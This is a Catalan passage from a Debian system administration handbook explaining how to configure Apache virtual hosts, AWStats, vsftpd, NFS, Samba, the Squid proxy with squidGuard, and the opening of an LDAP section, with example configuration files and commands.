El servidor Apache suporta una extensió del protocol SSL anomenada «Server Name Indication» (SNI, de l'anglès “Indicació del nom de servidor”). Aquesta extensió permet al navegador enviar el nom d'amfitrió del servidor web durant l'establiment de la connexió SSL, molt abans que la sol·licitud HTTP mateixa, que abans s'utilitzava per identificar el host virtual sol·licitat entre els que es trobaven al mateix servidor (amb la mateixa adreça IP i port). Això permet a l'Apache seleccionar el certificat SSL més apropiat perquè la transacció continuï.

Abans de l'SNI, Apache sempre utilitzava el certificat definit en l'servidor virtual per defecte. Els clients que intentessin accedir a un altre servidor virtual mostrarien avisos, ja que el certificat que rebien no coincidia amb el lloc web que estaven intentant accedir. Afortunadament, la majoria dels navegadors ara treballen amb SNI; això inclou Microsoft Internet Explorer començant amb la versió 7.0 (a partir de Vista), Mozilla Firefox començant amb la versió 2.0, Apple Safari des de la versió 3.2.1, i totes les versions de Google Chrome.

El paquet Apache proporcionat a Debian està construït amb suport per a SNI; per tant, no es necessita cap configuració particular.

Cada servidor virtual extra és descrit per un fitxer emmagatzemat a /etc/apache2/sites-available// La creació d'un lloc web per al domini de falcot.org és, per tant, una qüestió tan senzilla com crear el següent fitxer, i després habilitar el servidor virtual amb a2ensite www.falcot.org.

Exemple 11.13. El fitxer /etc/apache2/sites-available/www.falcot.org.conf

<VirtualHost *:80> ServerName www.falcot.org ServerAlias falcot.org DocumentRoot /srv/www/www.falcot.org </VirtualHost>

El servidor Apache, tal com està configurat fins ara, utilitza els mateixos fitxers de registre per a tots els servidors virtuals (encara que això es podria canviar afegint directives CustomLog a les definicions dels servidors virtuals). Per tant, té sentit personalitzar el format d'aquest fitxer de registre perquè inclogui el nom del servidor virtual. Això es pot fer creant un fitxer /etc/apache2/conf-available/customlog.conf que defineix un nou format per a tots els fitxers de registre (amb la directiva LogFormat) i habilitant-lo amb a2enconf customlog) La línia CustomLog també s'ha d'eliminar (o comentar) del fitxer /etc/apache2/sites-available/000-default.conf.

Exemple 11.14. El fitxer /etc/apache2/conf-available/customlog.conf

# Nou format de registre incloent el nom del servidor (virtual) LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost # Ara usem aquest format "vhost" per defecte CustomLog /var/log/apache2/access.log vhost

11.2.4. Directives comunes

Aquesta secció revisa breument algunes de les directives de configuració Apache més usades.

El fitxer de configuració principal normalment inclou diversos blocs Directory; permeten especificar diferents comportaments per al servidor depenent de la ubicació del fitxer que s'estigui servint. Aquest bloc inclou normalment directives Opcions i allowOverride.

Exemple 11.15. Bloc «Directory»

<Directory /srv/www> Options Includes FollowSymlinks AllowOverride All DirectoryIndex index.php index.html index.htm </Directory>

La directiva DirectoryIndex conté una llista de fitxers per cercar quan la sol·licitud del client coincideix amb un directori. El primer fitxer existent de la llista s'utilitza i s'envia com a resposta.

La directiva Options és seguida per una llista d'opcions per habilitar. El valor None inhabilita totes les opcions; en conseqüència, All els activa tots excepte MultiViews. Les opcions disponibles inclouen:

ExecCGI indica que els «scripts» CGI poden ser executats.

FollowSymlinks indica al servidor que es poden seguir els enllaços simbòlics, i que la resposta hauria de contenir el contingut de l'objectiu d'aquests enllaços.

SymlinksIfOwnerMatch també li diu al servidor que segueixi els enllaços simbòlics, però només quan l'enllaç i el seu objectiu tenen el mateix propietari.

Includes habilita «Server Side Includes» (o “Inclusions a la banda de servidor”, SSI per abreujar). Es tracta de directives inserides en pàgines HTML i executades sobre la marxa per a cada sol·licitud.

IncludesNOEXEC permet Server Side Includes (SSI) però inhabilita l'ordre exec i limita la directiva include a fitxers de text o de marques.

Indexes indica al servidor que llisti els continguts d'un directori si la sol·licitud HTTP enviada pel client apunta a un directori sense fitxer d'índex (és a dir, quan no hi ha cap dels fitxers esmentats per la directiva DirectoryIndex).

MultiViews permet la negociació de contingut; això pot ser utilitzat pel servidor per retornar una pàgina web que coincideixi amb l'idioma preferit que tingui configurat el navegador.

TORNAR A LES BASES el fitxer .htaccess

El fitxer .htaccess conté les directives de configuració d'Apache obligades cada vegada que una sol·licitud es refereix a un element del directori on s'emmagatzema. L'àmbit d'aplicació d'aquestes directives també és d'aplicació a tots els subdirectoris continguts.

La majoria de les directives que poden aparèixer en un bloc Directory també són vàlides en un fitxer .htaccess.

La directiva allowOverride llista totes les opcions que es poden activar o desactivar mitjançant un fitxer .htaccess. Un ús comú d'aquesta opció és restringir ExecCGI, de manera que l'administrador tria quins usuaris poden executar programes sota la identitat del servidor web (l'usuari www-data).

11.2.4.1. Requerir autenticació

En algunes circumstàncies, l'accés a part d'un lloc web ha de ser restringit, de manera que només els usuaris legítims que proporcionen un nom d'usuari i una contrasenya tenen accés al contingut. Aquestes característiques són proporcionades pels mòduls mod_auth*.

Exemple 11.16. Fitxer .htaccess que requereix autenticació

Require valid-user AuthName "Directori privat" AuthType Basic AuthUserFile /etc/apache2/authfiles/htpasswd-private

SEGURETAT Sense seguretat

El sistema d'autenticació utilitzat en l'exemple anterior (Basic) té una seguretat mínima ja que la contrasenya s'envia en text clar (només es codifica amb base64, que és una codificació simple en lloc d'un mètode de xifratge). També cal assenyalar que els documents “protegits” per aquest mecanisme també passen per la xarxa de manera “clara”. Si la seguretat és important, tota la connexió HTTP s'hauria de xifrar amb SSL.

El fitxer /etc/apache2/authfiles/htpasswd-private conté una llista d'usuaris i contrasenyes; es manipula habitualment amb l'ordre htpasswd. Per exemple, la següent ordre s'utilitza per afegir un usuari o canviar la seva contrasenya:

# htpasswd /etc/apache2/authfiles/htpasswd-private user New password: Re-type new password: Adding password for user user

11.2.4.2. Restringint l'accés

La directiva Require controla les restriccions d'accés per a un directori (i també els seus subdirectoris, recursivament).

→ https://httpd.apache.org/docs/2.4/howto/access.html

Es pot utilitzar per restringir l'accés basant-se en molts criteris; ens aturarem a descriure la restricció d'accés basada en l'adreça IP del client, però pot ser molt més potent que això, especialment quan diverses directives Require es combinen dins d'un bloc RequireAll.

Exemple 11.17. Permetre només des de la xarxa local

Requerir la ip 192.168.0.0/16

ALTERNATIVA Sintaxi antiga

La sintaxi Require només està disponible a Apache 2.4 (la versió inclosa a partir de Jessie). Per als usuaris de Wheezy, la sintaxi d'Apache 2.2 és diferent, i la descrivim aquí principalment com a referència, encara que també es pot usar amb Apache 2.4 utilitzant el mòdul mod_access_compat.

Les directives Allow from i Deny from controlen les restriccions d'accés a un directori (i recursivament als seus subdirectoris).

La directiva Order diu al servidor l'ordre en què s'apliquen les directives Allow from i Deny from; l'última que coincideix és la que té prioritat. En termes concrets, Order deny,allow permet l'accés si no s'aplica cap Deny from, o si s'aplica una directiva Allow from. Per contra, Order allow,deny rebutja l'accés si cap directiva Allow from coincideix (o si s'aplica una directiva Deny from).

Les directives Allow from i Deny from poden ser seguides per una adreça IP, una xarxa (com ara 192.168.0.0/255.255.255.0, 192.168.0.0/24 o fins i tot 192.168.0), un nom d'amfitrió o un nom de domini, o la paraula clau all, designant a tothom.

Per exemple, per rebutjar per defecte les connexions però permetre-les des de la xarxa local, podria utilitzar-se això:

Order deny,allow Allow from 192.168.0.0/16 Deny from all

11.2.5. Analitzadors de registres

Un analitzador de registres és instal·lat sovint en un servidor web, ja que el primer proporciona als administradors una idea precisa dels patrons d'ús del servidor.

Els administradors de Falcot Corp han seleccionat AWStats (Advanced Web Statistics) per analitzar els fitxers de registre d'Apache.

El primer pas de configuració és la personalització del fitxer /etc/awstats/awstats.conf. Els administradors de Falcot el deixen tal com està excepte els següents paràmetres:

LogFile="/var/log/apache2/access.log" LogFormat = "%virtualname %host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot" SiteDomain="www.falcot.com" HostAliases="falcot.com REGEX[^.*\.falcot\.com$]" DNSLookup=1 LoadPlugin="tooltips"

Tots aquests paràmetres estan documentats amb comentaris al fitxer de plantilla. En particular, els paràmetres LogFile i LogFormat descriuen la ubicació i el format del fitxer de registre i la informació que conté; SiteDomain i HostAliases llisten els diversos noms sota els quals es coneix el lloc web principal.

Per a llocs amb trànsit alt, DNSLookup normalment no s'hauria d'establir a 1; per a llocs més petits, com el de Falcot descrit anteriorment, aquest ajustament permet obtenir informes més llegibles que inclouen noms de màquina complets en lloc de simples adreces IP.

SEGURETAT Accés a les estadístiques

AWStats fa que, per defecte, les seves estadístiques estiguin disponibles en el lloc web sense restriccions, però se'n poden establir de manera que només unes poques adreces IP (probablement internes) puguin accedir-hi; la llista d'adreces IP permeses s'ha de definir al paràmetre AllowAccessFromWebToFollowingIPAddresses

AWStats també s'habilitarà per a altres servidors virtuals; cada servidor virtual necessita el seu propi fitxer de configuració, com ara /etc/awstats/awstats.www.falcot.org.conf.

Exemple 11.18. Fitxer de configuració de l'AWStats per a un servidor virtual

Include "/etc/awstats/awstats.conf" SiteDomain="www.falcot.org" HostAliases="falcot.org"

AWStats utilitza moltes icones emmagatzemades al directori /usr/share/awstats/icon/. Per tal que aquestes icones estiguin disponibles en el lloc web, la configuració d'Apache ha d'adaptar-se per incloure la següent directiva (trobareu un exemple més detallat si feu una ullada a /usr/share/doc/awstats/examples/apache.conf):

Alias /awstats-icon/ /usr/share/awstats/icon/

Després d'uns minuts (i una vegada que l'script s'hagi executat unes quantes vegades), els resultats estaran disponibles en línia:

→ http://www.falcot.com/cgi-bin/awstats.pl

→ http://www.falcot.org/cgi-bin/awstats.pl

COMPTE Rotació del fitxer de registre

Per tal que les estadístiques tinguin en compte tots els registres, AWStats s'ha d'executar just abans que els fitxers de registre Apache siguin rotats. Mirant la directiva prerotate al fitxer /etc/logrotate.d/apache2, això és resolt per awstats posant un script a /etc/logrotate.d/httpd-prerotate que executa /usr/share/awstats/tools/update.sh.

Tingueu en compte també que els arxius de registre creats per logrotate han de ser llegibles per tothom, especialment AWStats. Això queda garantit canviant /etc/logrotate.d/apache2 perquè inclogui, per exemple, create 644 root adm (en lloc dels permisos per defecte 640). Però, si us plau, consulteu /usr/share/doc/awstats/README.Debian.gz per a una documentació més extensa sobre aquest tema i alternatives.

11.3. Servidor de fitxers FTP

FTP («File Transfer Protocol» o “Protocol de transferència de fitxers”) és un dels primers protocols d'Internet (l'RFC 959 va ser publicat el 1985!). Es va utilitzar per distribuir arxius abans que fins i tot nasqués la Web (el protocol HTTP va ser creat el 1990, i definit formalment en la seva versió 1.0 per RFC 1945, publicat el 1996).

Aquest protocol permet tant pujades de fitxers com descàrregues; per aquesta raó, encara s'utilitza àmpliament per desplegar actualitzacions a un lloc web allotjat pel proveïdor de serveis d'Internet (o de qualsevol altra entitat que allotgi llocs web). En aquests casos, l'accés requereix un identificador d'usuari i una contrasenya; en cas d'autenticació amb èxit, el servidor FTP concedeix accés de lectura i escriptura al directori d'inici d'aquest usuari.

SEGURETAT FTP, FTPS i SFTP

FTP no és un protocol segur. Els noms d'usuari, les contrasenyes i les dades es transporten en text clar. Per augmentar la seguretat, es pot utilitzar FTP mitjançant SSL/TLS implícit (forçat) o explícit (sol·licitat), també conegut com a FTPS, però no s'ha de confondre amb SFTP, el protocol de transferència de fitxers SSH, una implementació alternativa de transferència de fitxers mitjançant SSH. Molts paquets de servidor FTP a Debian admeten FTPS.

Altres servidors FTP s'utilitzen principalment per distribuir fitxers per a la descàrrega pública; els paquets Debian són un bon exemple. El contingut d'aquests servidors es copia d'altres servidors, geogràficament més llunyans; després es posa a disposició d'usuaris menys distants. Això significa que l'autenticació del client no és necessària; com a conseqüència, aquest mode operatiu es coneix com a “FTP anònim”. Per ser exactes, els clients s'autentiquen amb el nom d'usuari anonymous; la contrasenya és sovint, per convenció, l'adreça de correu electrònic de l'usuari, però el servidor l'ignorarà.

Molts servidors FTP estan disponibles a Debian (ftpd(-ssl), proftpd-basic, pure-ftpd i d'altres), i tots proveeixen el paquet virtual ftp-server. NNo obstant això, tingueu en compte que el paquet pyftpd ha estat eliminat del projecte Debian degut a ja no estar mantingut activament i ser incompatible amb Python 3. Els administradors de Falcot Corp han escollit vsftpd perquè només utilitzen el servidor FTP per distribuir alguns fitxers (incloent un repositori de paquets de Debian); ja que no necessiten característiques avançades, han optat per centrar-se en els aspectes de seguretat.

La instal·lació del paquet crea un usuari de sistema anomenat ftp. Aquest compte sempre s'utilitza per a connexions FTP anònimes, i el seu directori d'inici (/srv/ftp/) és l'arrel de l'arbre que es posa a disposició dels usuaris que es connecten a aquest servei. La configuració per defecte (a /etc/vsftpd.conf) requereix alguns canvis per atendre la simple necessitat de fer que els fitxers grans estiguin disponibles per a la descàrrega pública: cal habilitar l'accés anònim (anonymous_enable=YES), i cal desactivar l'accés de només lectura dels usuaris locals (local_enable=NO). Aquest últim és especialment important, ja que el protocol FTP no utilitza cap forma de xifratge i la contrasenya de l'usuari es podria interceptar a través de la xarxa.

Es pot accedir als recursos FTP i FTPS amb una gran varietat de clients, amb i sense interfície gràfica d'usuari, i també es poden muntar localment utilitzant l'ordre curlftpfs des del paquet del mateix nom.

11.4. Servidor de fitxers NFS

NFS («Network File System» o “Sistema de fitxers en xarxa”) és un protocol que permet l'accés remot a un sistema de fitxers a través de la xarxa. Tots els sistemes Unix poden treballar amb aquest protocol.

CAS ESPECÍFIC Microsoft Windows i Recursos Compartits NFS

Quan hi ha variants de Windows antigues o (les anomenades) «Home», normalment s'ha d'utilitzar Samba (Secció 11.5, «Configuració d'espais compartits Windows amb Samba») en lloc d'NFS. Les versions modernes de Windows Server i “Pro” o “Enterprise” d'escriptori ja tenen el suport integrat per a NFS. Després de la instal·lació dels components «Services for NFS» es pot accedir a les comparticions NFS i muntar-les temporalment o permanentment com qualsevol altra compartició de xarxa. Tingueu en compte possibles problemes de codificació en els noms dels fitxers.

Com a alternativa, Debian es pot instal·lar a Windows 10 Pro i superior. Requereix la instal·lació del component «Windows Subsystem for Linux» (WSL) i l'aplicació Debian des de la botiga de Windows.

→ https://www.microsoft.com/en-us/p/debian/9msvkqc78pk6?

NFS és una eina molt útil però, històricament, ha sofert moltes limitacions, la majoria de les quals s'han resolt amb la versió 4 del protocol. L'inconvenient és que aquesta última versió d'NFS és més difícil de configurar quan voleu fer ús de les característiques bàsiques de seguretat com l'autenticació i el xifratge ja que es basa en Kerberos per a aquestes parts. I sense aquests, el protocol NFS s'ha de restringir a una xarxa local de confiança, ja que les dades passen per la xarxa sense encriptar (un «sniffer» pot interceptar-les) i els drets d'accés es concedeixen basant-se en l'adreça IP del client (que es pot suplantar).

DOCUMENTACIÓ «HOWTO» d'NFS

Bona documentació per desplegar NFSv4 és difícil de trobar. Aquí hi ha alguns enllaços amb contingut de diferent qualitat però que almenys haurien de donar algunes pistes sobre el que s'hauria de fer.

→ https://help.ubuntu.com/community/NFSv4Howto

→ https://wiki.linux-nfs.org/wiki/index.php/Nfsv4_configuration

11.4.1. Seguretat amb NFS

Si no s'utilitzen les característiques de seguretat basades en Kerberos, és vital garantir que només les màquines que poden utilitzar NFS puguin connectar-se als diversos servidors RPC requerits, perquè el protocol bàsic confia en les dades rebudes de la xarxa. El tallafocs també ha de bloquejar l'«IP spoofing» o “suplantació d'ip” per tal d'evitar que una màquina externa actuï com a interna, i l'accés als ports apropiats s'ha de restringir a les màquines destinades a accedir a les comparticions d'NFS.

TORNAR A LES BASES RPC

RPC («Remote Procedure Call» o “Crida a procediment remot”) és un estàndard Unix per a serveis remots. NFS és un d'aquests serveis.

Els serveis RPC es registren en un directori conegut com a «portmapper». Un client que desitja realitzar una petició NFS es dirigeix primer portmapper (al port 111, ja sigui TCP o UDP), i demana pel servidor NFS; la resposta normalment retorna el port 2049 (el predeterminat d'NFS). No tots els serveis RPC utilitzen necessàriament un port fix.

Les versions anteriors del protocol requerien altres serveis RPC que utilitzaven ports assignats dinàmicament. Afortunadament, amb la versió 4 d'NFS només es necessita el port 2049 (per a NFS) i 111 (per al «portmapper“) i per tant són fàcils d'adaptar a un tallafocs.

11.4.2. Servidor NFS

El servidor NFS forma part del nucli de Linux; en els nuclis proporcionats per Debian es compila com un mòdul del nucli. Si es vol que el servidor NFS s'executi automàticament en arrencar, s'hauria d'instal·lar el paquet nfs-kernel-server, que conté els scripts d'inici pertinents.

El(s) fitxer(s) de configuració del servidor NFS, /etc/exports i /etc/exports.d/, llisten els directoris que estan disponibles a través de la xarxa (exportats). Per a cada exportació NFS, només es concedeix accés a la llista de màquines donada. Es pot obtenir un control d'accés refinat amb algunes opcions. La sintaxi d'aquest fitxer és bastant simple:

/directori/per/exportar màquina1(opció1,opció2,...) màquina2(...) ...

Tingueu en compte que, amb NFSv4, tots els directoris exportats han de formar part d'una única jerarquia i que el directori arrel d'aquesta jerarquia s'ha d'exportar i identificar amb l'opció fsid=0 o fsid=root.

Cada màquina pot ser identificada pel seu nom DNS o per la seva adreça IP. També es poden especificar conjunts sencers de màquines utilitzant una sintaxi com *.falcot.com o un rang d'adreces IP com 192.168.0.0/255.255.255.0 o 192.168.0.0/24.

Els directoris estan disponibles per defecte com a només lectura (o amb l'opció ro). L'opció rw permet l'accés de lectura i escriptura. Els clients d'NFS normalment es connecten des d'un port restringit a l'usuari «root» (en altres paraules, inferior a 1024); aquesta restricció es pot aixecar amb l'opció insecure (l'opció secure és implícita, però es pot fer explícita, si cal, per claredat).

Per defecte, el servidor només respon a una consulta NFS quan l'operació de disc actual està acabada (opció sync); això es pot desactivar amb l'opcióasync). Les escriptures asíncrones augmenten una mica el rendiment, però disminueixen la fiabilitat, ja que hi ha un risc de pèrdua de dades en cas que el servidor falli entre el reconeixement de l'escriptura i l'escriptura real al disc. Com que el valor per defecte ha canviat recentment (en comparació amb el valor històric d'NFS), es recomana configurar-ho explícitament.

Per tal de no donar accés a l'arrel al sistema de fitxers a cap client NFS, totes les consultes que semblen provenir d'un usuari arrel són considerades pel servidor com a procedents de l'usuari nobody. Aquest comportament correspon a l'opció root_squash, i està activat per defecte. L'opció no_root_squash, que inhabilita aquest comportament, és arriscada i només s'ha d'utilitzar en entorns controlats. Si tots els usuaris han de ser “mapejats” a l'usuari nobody, utilitzeu all_squash. Les opcions anonuid=uid i anongid=gid permeten especificar un altre usuari fals per ser utilitzat en lloc de UID/GID 65534 (que corresponen a l'usuari nobody i al grup nogroup).

Amb NFSv4, es pot afegir una opció sec per indicar el nivell de seguretat que voleu: sec=sys és el valor per defecte sense característiques de seguretat especials, sec=krb5 només activa l'autenticació, sec=krb5i afegeix protecció d'integritat, i sec=krb5p és el nivell més complet que inclou protecció de la privacitat (amb xifratge de dades). Perquè això funcioni cal una configuració funcional de Kerberos (aquest servei no està cobert en aquest llibre).

Hi ha altres opcions disponibles; estan documentades a la pàgina de manual exports(5).

COMPTEPrimera instal·lació

El fitxer /etc/exports no llista cap compartició NFS vàlida en la instal·lació inicial. Una vegada que aquest fitxer o qualsevol fitxer a /etc/exports.d/ ha estat editat o afegit contenint entrades vàlides, el servidor NFS s'ha de reiniciar amb qualsevol de les ordres següents:

# exportfs -ra

# systemctl start nfs-kernel-server

11.4.3. Client NFS

Igual que amb altres sistemes de fitxers, la integració d'una exportació NFS a la jerarquia del sistema requereix un muntatge (i el paquet nfs-common). Com que aquest sistema de fitxers té les seves peculiaritats, es requereixen alguns ajustos a la sintaxi de l'ordre mount i al fitxer /etc/fstab.

Exemple 11.19. Muntatge manual amb l'ordre mount

# mount -t nfs4 -o rw,nosuid arrakis.internal.falcot.com:/shared /srv/shared

Exemple 11.20. Entrada NFS al fitxer /etc/fstab

arrakis.internal.falcot.com:/shared /srv/shared nfs4 rw,nosuid 0 0

L'entrada descrita a dalt munta, a l'engegada del sistema, el directori NFS /shared/ del servidor arrakis al directori local /srv/shared/. Es demana accés de lectura i escriptura (d'aquí el paràmetre rw). L'opció nosuid és una mesura de protecció que elimina qualsevol bit setuid o setgid de programes emmagatzemats al directori muntat. Si el directori NFS només està destinada a emmagatzemar documents, una altra opció recomanada és noexec, que evita executar programes emmagatzemats en l'espai importat. Tingueu en compte que, al servidor, el directori shared està per sota de l'exportació arrel NFSv4 (per exemple /export/shared), no és un directori de nivell superior.

La pàgina del manual nfs(5) descriu totes les opcions amb cert detall.

11.5. Configuració d'espais compartits Windows amb Samba

Samba és un conjunt d'eines que gestionen el protocol SMB (també conegut com a “CIFS”) a Linux. Windows utilitza aquest protocol per a espais compatits de xarxa i impressores compartides.

Samba també pot actuar com a controlador de domini de Windows. Aquesta és una eina destacada per garantir una integració perfecta dels servidors Linux i les màquines d'escriptori de les oficines que encara estan executant Windows.

11.5.1. Servidor Samba

El paquet samba conté els dos principals servidors de Samba 4, smbd i nmbd.

DOCUMENTACIÓ Anant més enllà

El servidor Samba és extremadament configurable i versàtil, i pot abordar molts casos d'ús diferents que s'adapten a requisits molt diferents i arquitectures de xarxa. Aquest llibre només se centra en el cas d'ús on Samba s'utilitza com a servidor independent, però també pot actuar com a controlador de domini NT4 o controlador de domini de directori actiu complet, o un simple membre d'un domini existent (que podria ser gestionat per un servidor Windows).

El paquet samba conté totes les pàgines de manual necessàries i a /usr/share/doc/samba/examples/ una gran quantitat de fitxers d'exemple comentats. Si esteu buscant una documentació més completa, podeu fer una ullada al lloc web Samba.

→ https://www.samba.org/samba/docs/

EINA Autenticació amb un servidor Windows

Winbind proporciona als administradors del sistema l'opció d'utilitzar un servidor Windows com a servidor d'autenticació. Winbind també s'integra perfectament amb PAM i NSS. Això permet configurar les màquines de Linux on tots els usuaris d'un domini de Windows obtenen automàticament un compte.

Es pot trobar més informació al directori /usr/share/doc/libpam-winbind/examples/pam_winbind/ del paquet libpam-winbind.

11.5.1.1. Configuració amb debconf

El paquet estableix una configuració mínima durant la instal·lació inicial a /etc/samba/smb.conf copiant simplement /usr/share/samba/smb.conf. Així que realment hauríeu d'executar dpkg-reconfigure samba-common per adaptar-lo:

En la primera instal·lació l'única informació requerida és el nom del grup de treball on pertany el servidor Samba (la resposta és FALCOTNET en el nostre cas).

En cas d'una actualització de paquet (de l'antiga versió estable de Debian) o si el servidor SMB ja s'ha configurat per utilitzar un servidor WINS (wins server), el paquet també proposa identificar el servidor WINS de la informació proporcionada pel dimoni DHCP. Els administradors de Falcot Corp han rebutjat aquesta opció, ja que tenen la intenció d'utilitzar el servidor Samba com a servidor WINS.

11.5.1.2. Configuració manual

11.5.1.2.1. Canvis a smb.conf

Els requisits de Falcot demanen que es modifiquin altres opcions al fitxer de configuració /etc/samba/smb.conf. Els següents extractes resumeixen els canvis que efectuats a la secció [global].

[...] [global] ## Browsing/Identification ### # Change this to the workgroup/NT-domain name your Samba server will part of workgroup = FALCOTNET [...] # Windows Internet Name Serving Support Section: # WINS Support - Tells the NMBD component of Samba to enable its WINS Server wins support = yes [...] ####### Authentication ####### # Server role. Defines in which mode Samba will operate. Possible # values are "standalone server", "member server", "classic primary # domain controller", "classic backup domain controller", "active # directory domain controller". # # Most people will want "standalone server" or "member server". # Running as "active directory domain controller" will require first # running "samba-tool domain provision" to wipe databases and create a # new domain. server role = standalone server obey pam restrictions = yes [...] # "security = user" is always a good idea. This will require a Unix account # in this server for every user accessing the server. security = user [...]

Indica que Samba hauria d'actuar com un servidor de noms de Netbios (WINS) per a la xarxa local. Aquesta opció s'ha eliminat de la configuració predeterminada de Buster i s'ha d'afegir manualment si es desitja.

Aquest és el valor per defecte d'aquest paràmetre; no obstant això, ja que és central a la configuració de Samba, es recomana explícitament omplir-lo. Cada usuari ha d'autenticar-se abans d'accedir a qualsevol espai compartit.

11.5.1.2.2. Afegir usuaris

Cada usuari Samba necessita un compte al servidor; primer s'han de crear els comptes Unix, i després l'usuari ha d'estar registrat a la base de dades de Samba. El pas Unix es fa de forma usual (amb adduser, per exemple).

Afegir a la base de dades Samba un usuari existent és qüestió d'executar l'ordre smbpasswd -a usuari; aquesta ordre demana la contrasenya de manera interactiva.

Es pot suprimir un usuari amb l'ordre smbpasswd -x usuari. Un compte de Samba també es pot desactivar temporalment (amb smbpasswd -d usuari) i reactivat més tard (amb smbpasswd -e usuari).

11.5.2. Client Samba

Les característiques del client a Samba permeten a una màquina Linux accedir als espais i impressores compartits de Windows. Els programes necessaris estan disponibles als paquets cifs-utils i smbclient.

11.5.2.1. El programa smbclient

El programa smbclient fa peticions a servidors SMB. Accepta una opció -U usuari per connectar al servidor sota una identitat específica. smbclient //servidor/compartició accedeix a la compartició d'una manera interactiva similar al client FTP de la línia d'ordres. smbclient -L servidor llista totes les comparticions disponibles (i visibles) en un servidor.

11.5.2.2. Muntatge d'espais compartits de Windows

L'ordre mount permet muntar una compartició de Windows a la jerarquia del sistema de fitxers de Linux (amb l'ajuda de mount.cifs proporcionat per cifs-utils).

Exemple 11.21. Muntatge d'un espai compartit de Windows

mount -t cifs //arrakis/shared /shared \ -o credentials=/etc/smb-credentials

El fitxer /etc/smb-credentials (que no ha de ser llegible pels usuaris) té el següent format:

username = usuari password = clau

Es poden especificar altres opcions a la línia d'ordres; la llista completa està disponible a la pàgina del manual mount.cifs(1). Dues opcions en particular poden ser interessants: uid i gid permeten forçar el propietari i el grup de fitxers disponibles al punt de muntatge, per no restringir l'accés a l'usuari «root».

El muntatge d'una compartició de Windows també es pot configurar a /etc/fstab:

//servidor/shared /shared cifs credentials=/etc/smb-credentials

Desmuntar una compartició SMB/CIFS es fa amb l'ordre estàndard umount.

11.5.2.3. Imprimir en una impressora compartida

CUPS és una solució elegant per imprimir des d'una estació de treball Linux en una impressora compartida per una màquina Windows. Quan s'instal·la smbclient, CUPS permet la instal·lació automàtica d'impressores compartides per Windows.

Aquestes són les passes requerides:

Entreu a la interfície de configuració del CUPS: http://localhost:631/admin

Feu clic a “Afegeix una impressora”.

Trieu el dispositiu d'impressora, trieu “Impressora Windows via SAMBA”.

Introduïu l'URI de la connexió per a la impressora de xarxa. Seria una cosa similar al següent:

smb://usuari:clau@servidor/impressora.

Introduïu el nom que identificarà de manera única aquesta impressora. A continuació introduïu la descripció i la ubicació de la impressora. Aquestes són les cadenes que es mostraran als usuaris finals per ajudar-los a identificar les impressores.

Indiqueu el fabricant/model de la impressora, o directament proporcioneu un fitxer de descripció de la impressora funcional (PPD o «Printer Description File»).

Voilà, la impressora està operativa!

11.6. Proxy HTTP/FTP

Un servidor intermediari, o «proxy» en anglès, HTTP/FTP actua com a intermediari per a les connexions HTTP i/o FTP. El seu paper és doble:

Memòria cau: els documents descarregats recentment es desen localment, la qual cosa evita descàrregues repetides.

Servidor de filtratge: si l'ús del servidor intermediari és obligatori (i les connexions de sortida estan bloquejades llevat que passin pel servidor intermediari), llavors el servidor intermediari pot determinar si s'ha de concedir la sol·licitud o no.

Falcot Corp ha seleccionat Squid com a servidor intermediari.

11.6.1. Instal·lació

El paquet Debian squid només conté el servidor intermediari modular (per emmagatzematge o caché). Convertir-lo en un servidor de filtratge requereix instal·lar el paquet addicional squidguard. A més, squid-cgi proporciona una interfície de consulta i administració per a un servidor intermediari Squid.

Abans de la instal·lació, s'ha de tenir cura de comprovar que el sistema pot identificar el seu propi nom complet: l'ordre hostname -f ha de retornar un nom plenament qualificat (incloent un domini). Si no ho fa, llavors el fitxer /etc/hosts hauria de ser editat per contenir el nom complet del sistema (per exemple, arrakis.falcot.com). El nom oficial de l'ordinador s'hauria de validar amb l'administrador de la xarxa per tal d'evitar possibles conflictes de noms.

11.6.2. Configuració d'una caché

Habilitar la característica del servidor caché o d'emmagatzematge en memòria cau és una qüestió senzilla d'editar el fitxer de configuració /etc/squid/squid.conf i permetre que les màquines de la xarxa local executin consultes a través del servidor intermediari. L'exemple següent mostra les modificacions fetes pels administradors de Falcot Corp:

Exemple 11.22. El fitxer /etc/squid/squid.conf (extractes)

# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS # include /etc/squid/conf.d/* # Example rule allowing access from your local networks. # Adapt localnet in the ACL section to list your (internal) IP networks # from where browsing should be allowed acl our_networks src 192.168.1.0/24 192.168.2.0/24 http_access allow our_networks http_access allow localhost # And finally deny all other access to this proxy http_access deny all

11.6.3. Configuració d'un filtre

squid en si mateix no realitza filtratge; aquesta acció es delega a squidGuard. El primer s'ha de configurar per interaccionar amb el segon. Això implica afegir la següent directiva al fitxer /etc/squid/squid.conf:

url_rewrite_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

El programa CGI /usr/lib/cgi-bin/squidGuard.cgi també s'ha d'instal·lar, utilitzant /usr/share/doc/squidguard/examples/squidGuard.cgi com a punt de partida. Les modificacions requerides a aquest script són les variables $proxy i $proxymaster (el nom del servidor intermediari i el correu electrònic de contacte de l'administrador, respectivament). Les variables $image i $redirect han d'apuntar a imatges existents que representen el rebuig d'una consulta.

El filtre s'habilita amb l'ordre systemctl reload squid. No obstant això, atès que des del paquet squidguard no es filtra per defecte, és tasca de l'administrador definir la política. Això es pot fer creant el fitxer /etc/squid/squidGuard.conf (usant /etc/squidguard/squidGuard.conf.default com a plantilla si calgués).

La base de dades de treball s'ha de regenerar amb update-squidguard després de cada canvi del fitxer de configuració d'squidGuard (o d'una de les llistes de dominis o URL que esmenta). La sintaxi del fitxer de configuració està documentada en el següent lloc web:

→ http://www.squidguard.org/Doc/configure.html

ALTERNATIVA E2guardian (un «fork» de DansGuardian)

El paquet e2guardian, un «fork» de DansGuardian, és una alternativa a squidguard. Aquest programari no només gestiona una llista negra d'URL prohibits, també pot fer d'ús de l'escaneig de continguts i antivirus, i proporciona un ampli suport d'autenticació.

11.7. Directori LDAP

OpenLDAP és una implementació del protocol LDAP; en altres paraules, és una base de dades de propòsit especial dissenyada per emmagatzemar directoris. En el cas d'ús més comú, l'ús d'un servidor LDAP permet centralitzar la gestió dels comptes d'usuari i els permisos relacionats. A més, una base de dades LDAP és fàcilment replicable, fet que permet establir múltiples servidors LDAP sincronitzats. Quan la xarxa i la base d'usuaris creixen ràpidament, la càrrega es pot equilibrar a través de diversos servidors.

